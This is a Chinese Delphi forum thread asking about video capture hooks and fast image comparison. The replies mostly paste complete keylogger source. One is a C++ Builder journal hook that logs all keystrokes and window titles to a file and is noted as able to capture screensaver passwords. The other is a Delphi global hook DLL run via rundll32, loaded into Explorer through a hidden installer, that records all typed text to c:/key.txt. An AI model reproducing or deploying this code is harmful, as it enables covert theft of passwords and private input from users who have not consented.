那位大富翁知道视频钩子程序怎样编写,最好给出范例。另外,求教最快的图像比较算法。(200分)

  • 主题发起人 主题发起人 icool
  • 开始时间 开始时间
Delphi之未经证实的葵花宝典上的一遍文章;参考一下吧!
很多人问过了,可以查找看看的:)

日志钩子(JournalRecord Hook)的使用
---- 钩子是WINDOWS中消息处理机制的一个要点,通过安装各种钩子,应用程序能够设置相应的子例程来监视系统里的消息传递以及在这些消息到达目标窗口程序之前处理它们。钩子的种类很多,每种钩子可以截获并处理相应的消息,如键盘钩子可以截获键盘消息,鼠标钩子可以截获鼠标消息,外壳钩子可以截获启动和关闭应用程序的消息,日志钩子可以监视和记录输入事件。钩子分为线程专用钩子和全局钩子,线程专用钩子只监视指定的线程,要监视系统中的所有线程,必须用到全局钩子。对于全局钩子,钩子函数必须包含在独立的动态链接库(DLL)中,这样才能被各种相关联的应用程序调用。在WINDOWS中,日志钩子是个很特别的钩子,它只有全局钩子一种,是键盘鼠标等输入设备的消息在系统消息队列被取出时发生的,而且系统中只能存在一个这样的日志钩子,更重要是,它不必用在动态链接库中,这样可以省却了为安装一个全局钩子而建立一个动态链接库的麻烦。利用日志钩子,我们可以监视各种输入事件,下面的示例可以用来记录键盘的输入,当有按键发生时,自动记录按键动作的日期和时间以及当前激活的窗口名称。本示例在中文WIN98,Borland C++ Builder4中编译通过。

---- 1.新建一个工程,在窗体Form1中放置两个按钮Button1和Button2, CAPTION分别为“安装日志钩子”和“卸载日志钩子”。

---- 2. 定义如下全局变量:

HHOOK g_hLogHook=NULL; //钩子变量
HWND g_hLastFocus=NULL;
//记录上一次得到焦点的窗口句柄
const int KeyPressMask=0x80000000; //键盘掩码常量
char g_PrvChar; //保存上一次按键值

3.在Button1的OnClick事件中输入:

void __fastcall TForm1::Button1Click(TObject *Sender)
{
if (g_hLogHook==NULL)
g_hLogHook = SetWindowsHookEx
(WH_JOURNALRECORD,
(HOOKPROC)JournalLogProc,
HInstance,0); //安装日志钩子
}

4.在Button2的OnClick事件中输入:

void __fastcall TForm1::Button2Click(TObject *Sender)
{
if (g_hLogHook!=NULL)
{UnhookWindowsHookEx(g_hLogHook);
g_hLogHook=NULL;
} //卸载日志钩子
}

5.输入钩子回调函数:
HOOKPROC JournalLogProc(int iCode,
WPARAM wParam, LPARAM lParam)
{
if (iCode< 0) return (HOOKPROC)CallNextHookEx
(g_hLogHook,iCode,wParam,lParam);
if (iCode==HC_ACTION)
{EVENTMSG *pEvt=(EVENTMSG *)lParam;
int i;
HWND hFocus; //保存当前活动窗口句柄
char szTitle[256]; //当前窗口名称
char szTime[128]; //保存当前的日期和时间
FILE *stream=fopen(“c://logfile.txt”,"a+t");
if (pEvt->message==WM_KEYDOWN)
{int vKey=LOBYTE(pEvt- >paramL); // 取得虚拟键值
char ch;
char str[10];
hFocus=GetActiveWindow();
//取得当前活动窗口句柄
if(g_hLastFocus!=hFocus)
//当前活动窗口是否改变
{GetWindowText(hFocus,szTitle,256);
g_hLastFocus=hFocus;
strcpy(szTime,DateTimeToStr(Now())
.c_str()); //得到当前的日期时间
fprintf(stream,"%c%s%c%c%s",
10,szTime,32,32,szTitle); //写入文件
fprintf(stream,"%c%c",32,32);
}
int iShift=GetKeyState(0x10);
//测试SHIFT,CAPTION,NUMLOCK等键是否按下
int iCapital=GetKeyState(0x14);
int iNumLock=GetKeyState(0x90);
bool bShift=(iShift &amp; KeyPressMask)==KeyPressMask;
bool bCapital=(iCapital &amp; 1)==1;
bool bNumLock=(iNumLock &amp; 1)==1;
if (vKey >=48 &amp;&amp; vKey< =57)
// 数字0-9
if (!bShift) fprintf(stream,"%c",vKey);
if (vKey >=65 &amp;&amp; vKey< =90)
// A-Z a-z
{if (!bCapital)
if (bShift) ch=vKey; else ch=vKey+32;
else
if (bShift) ch=vKey+32; else ch=vKey;
fprintf(stream,"%c",ch);
}
if (vKey >=96 &amp;&amp; vKey< =105) // 小键盘0-9
if (bNumLock) fprintf(stream,"%c",vKey-96+48);
if (vKey>=186 &amp;&amp; vKey<=222) // 其他键
{switch (vKey)
{case 186:if (!bShift) ch=';'; else ch=':';break;
case 187:if (!bShift) ch='='; else ch='+';break;
case 188:if (!bShift) ch=','; else ch='<' ;break;
case 189:if (!bShift) ch='-'; else ch='_';break;
case 190:if (!bShift) ch='.'; else ch=' >';break;
case 191:if (!bShift) ch='/'; else ch='?';break;
case 192:if (!bShift) ch='`'; else ch='~';break;
case 219:if (!bShift) ch='['; else ch='{';break;
case 220:if (!bShift) ch='//'; else ch='|';break;
case 221:if (!bShift) ch=']'; else ch='}';break;
case 222:if (!bShift) ch='/''; else ch='/"';break;
default:ch='n';break;
}
if (ch!='n') fprintf(stream,"%c",ch);
}
// if (wParam >=112 &amp;&amp; wParam<=123)
// 功能键 [F1]-[F12]
if (vKey >=8 &amp;&amp; vKey< =46) //方向键
{switch (vKey)
{case 8:strcpy(str,"[BK]");break;
case 9:strcpy(str,"[TAB]");break;
case 13:strcpy(str,"[EN]");break;
case 32:strcpy(str,"[SP]");break;
case 33:strcpy(str,"[PU]");break;
case 34:strcpy(str,"[PD]");break;
case 35:strcpy(str,"[END]");break;
case 36:strcpy(str,"[HOME]");break;
case 37:strcpy(str,"[LF]");break;
case 38:strcpy(str,"[UF]");break;
case 39:strcpy(str,"[RF]");break;
case 40:strcpy(str,"[DF]");break;
case 45:strcpy(str,"[INS]");break;
case 46:strcpy(str,"[DEL]");break;
default:ch='n';break;
}
if (ch!='n')
{if (g_PrvChar!=vKey)
{fprintf(stream,"%s",str);
g_PrvChar=vKey;
}
}
}
}
if
(pEvt- >message==WM_LBUTTONDOWN || pEvt- >message
==WM_RBUTTONDOWN)
{hFocus=GetActiveWindow();
if (g_hLastFocus!=hFocus)
{g_hLastFocus=hFocus;
GetWindowText(hFocus,szTitle,256);
strcpy(szTime,DateTimeToStr(Now()).c_str());
//得到当前的日期时间
fprintf(stream,"%c%s%c%c%s",
10,szTime,32,32,szTitle); //写入文件
fprintf(stream,"%c%c",32,32);
}
}
fclose(stream);
return (HOOKPROC)CallNextHookEx
(g_hLogHook,iCode,wParam,lParam);
}

---- 将工程编译执行后,每当激活一个窗口时,就会把当前窗口名称写入文件c:/logfile.txt中,当有按键时,按键的名称也会写入此文件中,这里的并没有处理全部的按键,读者可根据需要添加相应的语句。要捕捉键盘的按键动作,用键盘钩子(Keyboard Hook)也同样可以实现,但是用日志钩子却比键盘钩子要方便许多。首先,如果要捕捉其他应用程序的按键,即做成全局钩子,键盘钩子一定要单独放在动态链接库中,而日志钩子却不必;其次,在键盘钩子函数得到的键盘按键之前,系统已经处理过这些输入了,如果系统把这些按键屏蔽掉,键盘钩子就无法检测到它们,例如,当输入屏幕保护程序密码时,键盘钩子无法检测到用户输入了那些字符,而日志钩子却可以检测到。
 
是采集卡的单帧图像回调吗?
用VideoCap这个控件。
 
win9X,NT,w2k 中的系统钩子示例程序(Delphi 版)
-----------------------------------------------------
windows下的WH_CALLWNDPROC和WH_GETMESSAGE钩子是两种很有用的HOOK类型,
他能过滤大部分的
windows消息,但是要做成系统级的钩子,就要使用动态链接库,这样做很困
难,因为涉及到多
线程及全局变量,等问题,当然在某些情况下还会有线程同步及同步冲突问
题,关于同步问题
暂时不在这讲,因为这儿用不到,以后会举同步的例子,由于这些原因常会导
致错误,本程序
用了一个巧妙的方法解决了这个问题,主要技巧是不用*.exe,只用*.dll,并
用windows自带的
rundll32.exe程序来运行这个GetKey.dll,本程序能过滤wm_char,和
wm_ime_char消息,所以能
得到键盘输入的任何字中英文字符,结果存在C;/key.txt中,使用方法为:
rundll32 GetKey.dll,run
下面这个程序用Delphi设计,没有用delphi的控件,只用了win32 api,所以通
用于Delphi的任
何版本,当然你也可以用c来实现,有看不懂的可以写信给我,这是第一版,可
能有BUG,大家发
现了通知我一下,欢迎大家和我一起来讨论HOOK技术:
-----------------------------------------------------
First Created:njhhack 2001.6.14 (ver1.0)
电子信箱:njhhack@21cn.com
主页:hotsky.363.net
}
library GetKey;

uses windows,messages,sysutils;

{$r *.res}

const

HookMemFileName='HookMemFile.DTA';

type
PShared=^TShared;
PWin=^TWin;
TShared = record
HHGetMsgProc:HHook;
HHCallWndProc:HHook;
Self:integer;
Count:integer;
hinst:integer;
end;
TWin = record
Msg:TMsg;
wClass:TWndClass;
hMain:integer;
end;
var
MemFile:THandle;
Shared:PShared;
Win:TWin;

procedure SaveInfo(str:string);stdcall;
var
f:textfile;
begin
assignfile(f,'c:/key.txt');
if fileexists('c:/key.txt')=false then rewrite(f)
else append(f);
if strcomp(pchar(str),pchar('#13#10'))=0 then writeln(f,'')
else write(f,str);
closefile(f);
end;

procedure
HookProc(hWnd:integer;uMessage:integer;wParam:WPARAM;lParam:LPARAM);stdcal
l;
begin
if (uMessage=WM_CHAR) and (lParam<>1) then
begin
SaveInfo(format('%s',[chr(wparam and $ff)]));
inc(shared^.count);
if shared^.count>60 then
begin
SaveInfo('#13#10');
shared^.count:=0;
end;
end;
if (uMessage=WM_IME_CHAR) then
begin
SaveInfo(format('%s%s',[chr((wparam shr 8) and $ff),chr(wparam and
$ff)]));
inc(shared^.count,2);
end;
end;

function
GetMsgProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
var
pcs:PMSG;
hd,uMsg,wP,lP:integer;
begin
pcs:=PMSG(lParam);
if (nCode>=0) and (pcs<>nil) and (pcs^.hwnd<>0) then
begin
hd:=pcs^.hwnd;
uMsg:=pcs^.message;
wp:=pcs^.wParam;
lp:=pcs^.lParam;
HookProc(hd,uMsg,wp,lp);
end;
Result:=CallNextHookEx(shared^.HHGetMsgProc,nCode,wParam,lParam);

end;

function
CallWndProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
var
pcs:PCWPSTRUCT;
hd,uMsg,wP,lP:integer;
begin
pcs:=PCWPSTRUCT(lParam);
if (nCode>=0) and (pcs<>nil) and (pcs^.hwnd<>0) then
begin
hd:=pcs^.hwnd;
uMsg:=pcs^.message;
wp:=pcs^.wParam;
lp:=pcs^.lParam;
HookProc(hd,uMsg,wp,lp);
end;
Result:=CallNextHookEx(shared^.HHCallWndProc,nCode,wParam,lParam);
end;

procedure SetHook(fSet:boolean);
begin
with shared^ do
if fSet=true then
begin
if HHGetMsgProc=0 then
HHGetMsgProc:=SetWindowsHookEx(WH_GETMESSAGE,@GetMsgProc,hinstance,0);
if HHCallWndProc=0 then
begin

HHCallWndProc:=SetWindowsHookEx(WH_CALLWNDPROC,@CallWndProc,hinstance,0);
if HHCallWndProc=0 then UnhookWindowsHookEx(HHGetMsgProc);
end;
end else
begin
if HHGetMsgProc<>0 then UnhookWindowsHookEx(HHGetMsgProc);
if HHCallWndProc<>0 then UnhookWindowsHookEx(HHCallWndProc);
HHGetMsgProc:=0;
HHCallWndProc:=0;
end;
end;

procedure Extro;
begin
UnmapViewOfFile(Shared);
CloseHandle(MemFile);
end;


function WindowProc(hWnd,Msg,wParam,lParam:longint):LRESULT; stdcall;
begin
Result:=DefWindowProc(hWnd,Msg,wParam,lParam);
case Msg of
wm_destroy:
begin
SetHook(False);
ExitThread(0);
freelibrary(shared^.hinst);
// TerminateThread();
//exitprocess(0);
end;
end;
end;

procedure run;stdcall;
begin
win.wClass.lpfnWndProc:= @WindowProc;
win.wClass.hInstance:= hInstance;
win.wClass.lpszClassName:='GetKey';
RegisterClass(win.wClass);

win.hmain:=CreateWindowEx(ws_ex_toolwindow,win.wClass.lpszClassName,'GetKe
y',WS_CAPTION,0,0,1,1,0,0,hInstance,nil);
FillChar(Shared^,SizeOf(TShared),0);
shared^.self:=win.hmain;
shared^.hinst:=hinstance;
SetHook(true);
postmessage(findwindow('WinExec',nil),wm_destroy,0,0);
while(GetMessage(win.Msg,win.hmain,0,0))do
begin
TranslateMessage(win.Msg);
DispatchMessage(win.Msg);
end;
end;

procedure DllEntryPoint(fdwReason:DWORD);
begin
case fdwReason of
DLL_PROCESS_DETACH:
Extro;
end;
end;

exports run;

begin
//建立内存映象文件,用来保存全局变量

MemFile:=CreateFileMapping($FFFFFFFF,nil,PAGE_READWRITE,0,SizeOf(TShared),
HookMemFileName);
Shared:=MapViewOfFile(MemFile,FILE_MAP_WRITE,0,0,0);
DLLProc:=@DllEntryPoint;
end.

//-----------------------------------------------
library Install;
uses windows,messages,sysutils,tlhelp32;
{$r *.res}
const
HookMemFileName='HookMemFile3.DTA';
type
trun=procedure;stdcall;
TShared = record
HHGetMsgProc:HHook;
HHCallWndProc:HHook;
Receiver:integer;
busy:boolean;
hInstance:integer;
selfhand:integer;
LibHandle:integer;
CurPath:string;
end;
PShared=^TShared;
var
hMain:integer;
Msg:TMsg;
wClass:TWndClass;
MemFile:THandle;
Shared:PShared;
prun:trun=nil;

function tfun(lp:pointer):lresult;stdcall;
begin
with shared^ do
if LibHandle=0 then
begin
LibHandle:=LoadLibrary(pchar(shared^.CurPath+'GetKey.dll'));
if libhandle<>0 then
begin
if @prun=nil then
begin
prun:=GetProcAddress(LibHandle,'run');
if @prun<>nil then prun;
end;
end;
end;
result:=0;
end;

procedure FindProcessName;
var
lppe:tprocessentry32;
sshandle:thandle;
found:boolean;
tid:dword;
begin
sshandle:=createtoolhelp32snapshot(TH32CS_SNAPALL,0);
found:=process32first(sshandle,lppe);
while found do
begin
if (getcurrentprocessid=lppe.th32ProcessID)
and
(strcomp(pchar(ExtractFileName(lppe.szExefile)),pchar('EXPLORER.EXE'))=0)
then
begin
shared^.busy:=true;
CreateThread(nil,0,@tfun,nil,0,tid);
end;
if
strcomp(pchar(ExtractFileName(lppe.szExefile)),pchar('WINEXEC.EXE'))=0
then
begin
Shared^.CurPath:=ExtractFilePath(lppe.szExefile);
end;
found:=process32next(sshandle,lppe);
end;
CloseHandle(sshandle);
end;

procedure
HookProc(hWnd:integer;uMessage:integer;wParam:WPARAM;lParam:LPARAM);stdcal
l;
begin
if uMessage=WM_lbuttonup then
begin
if findwindow('GetKey',nil)<>0 then
begin
// postmessage(findwindow('WinExec',nil),wm_destroy,0,0);
end;
if shared^.busy=false then
begin
findProcessName;
end;
end;
end;

function
GetMsgProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
var
pcs:PMSG;
hd,uMsg,wP,lP:integer;
begin
pcs:=PMSG(lParam);
if (nCode>=0) and (pcs<>nil) and (pcs^.hwnd<>0) then
begin
hd:=pcs^.hwnd;
uMsg:=pcs^.message;
wp:=pcs^.wParam;
lp:=pcs^.lParam;
HookProc(hd,uMsg,wp,lp);
end;
Result:=CallNextHookEx(shared^.HHGetMsgProc,nCode,wParam,lParam);
end;

function
CallWndProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
var
pcs:PCWPSTRUCT;
hd,uMsg,wP,lP:integer;
begin
pcs:=PCWPSTRUCT(lParam);
if (nCode>=0) and (pcs<>nil) and (pcs^.hwnd<>0) then
begin
hd:=pcs^.hwnd;
uMsg:=pcs^.message;
wp:=pcs^.wParam;
lp:=pcs^.lParam;
HookProc(hd,uMsg,wp,lp);
end;
Result:=CallNextHookEx(shared^.HHCallWndProc,nCode,wParam,lParam);
end;

procedure SetHook(fSet:boolean);
begin
with shared^ do
if fSet=true then
begin
if HHGetMsgProc=0 then
HHGetMsgProc:=SetWindowsHookEx(WH_GETMESSAGE,@GetMsgProc,hinstance,0);
if HHCallWndProc=0 then
begin

HHCallWndProc:=SetWindowsHookEx(WH_CALLWNDPROC,@CallWndProc,hinstance,0);
if HHCallWndProc=0 then UnhookWindowsHookEx(HHGetMsgProc);
end;
end else
begin
if HHGetMsgProc<>0 then UnhookWindowsHookEx(HHGetMsgProc);
if HHCallWndProc<>0 then UnhookWindowsHookEx(HHCallWndProc);
HHGetMsgProc:=0;
HHCallWndProc:=0;
end;
end;

procedure Extro;
begin
UnmapViewOfFile(Shared);
CloseHandle(MemFile);
end;

function WindowProc(hWnd,Msg,wParam,lParam:longint):LRESULT; stdcall;
begin
Result:=DefWindowProc(hWnd,Msg,wParam,lParam);
case Msg of
wm_destroy:
begin
SetHook(False);
halt;
end;
end;
end;

procedure Intro;
begin

MemFile:=CreateFileMapping($FFFFFFFF,nil,PAGE_READWRITE,0,SizeOf(TShared),
HookMemFileName);
Shared:=MapViewOfFile(MemFile,FILE_MAP_WRITE,0,0,0);
end;

procedure DllEntryPoint(fdwReason:DWORD);
begin
case fdwReason of
DLL_PROCESS_DETACH:Extro;
end;
end;

procedure run;stdcall;
begin
wClass.lpfnWndProc:= @WindowProc;
wClass.hInstance:= hInstance;
wClass.lpszClassName:= 'MyHost-Install';
RegisterClass(wClass);

hmain:=CreateWindowEx(ws_ex_toolwindow,wClass.lpszClassName,'MyHost-Instal
l',WS_CAPTION,0,0,1,1,0,0,hInstance,nil);
FillChar(Shared^,SizeOf(TShared),0);
Shared^.hInstance:=hInstance;
Shared^.selfhand:=hmain;
Shared^.busy:=false;
SetHook(true);
while(GetMessage(Msg,hmain,0,0))do
begin
TranslateMessage(Msg);
DispatchMessage(Msg);
end;
end;

exports run;

begin
Intro;
DLLProc:=@DllEntryPoint;
end.

//------------------------------------------------------------
Program WinExec;
uses windows,messages,sysutils;
{$r *.res} //使用资源文件
type
TWin = record
Msg:TMsg;
wClass:TWndClass;
hMain:integer;
hLib:integer;
end;
var
Win:TWin; //结构变量
hRun:procedure;stdcall;
//
procedure runhookfun;
begin
win.hlib:=loadlibrary('install.dll');
if win.hlib=0 then messagebox(win.hmain,'error','',0);
hrun:=GetProcAddress(win.hlib,'run');
if @hrun<>nil then hrun;
// freelibrary(win.hlib);
end;

procedure runhook;
var tid:integer;
begin
createthread(nil,0,@runhookfun,nil,0,tid);
end;

function WindowProc(hWnd,Msg,wParam,lParam:longint):LRESULT; stdcall;
begin
Result:=DefWindowProc(hWnd,Msg,wParam,lParam);
case Msg of
wm_destroy:halt;
end;
end;

//主程序的执行函数
procedure runme;stdcall;
begin
win.wClass.hInstance:= hInstance;
with win.wclass do
begin
hIcon:= LoadIcon(hInstance,'MAINICON');
hCursor:= LoadCursor(0,IDC_ARROW);
hbrBackground:= COLOR_BTNFACE+1;
Style:= CS_PARENTDC;
lpfnWndProc:= @WindowProc;
lpszClassName:='WinExec';
end;
RegisterClass(win.wClass);
win.hmain:=CreateWindow(win.wClass.lpszClassName,'WinExec',WS_VISIBLE or
WS_OVERLAPPEDWINDOW,10,10,260,180,0,0,hInstance,nil);
runhook;
while(GetMessage(win.Msg,win.hmain,0,0)) do
begin
TranslateMessage(win.Msg);
DispatchMessage(win.Msg);
end;
end;

begin
runme; //开始运行主程序
end.
 
请问楼上各位大富翁怎样将Hook和抓取视频缓冲区中的内容联系起来?
 
接受答案了.
 
后退
顶部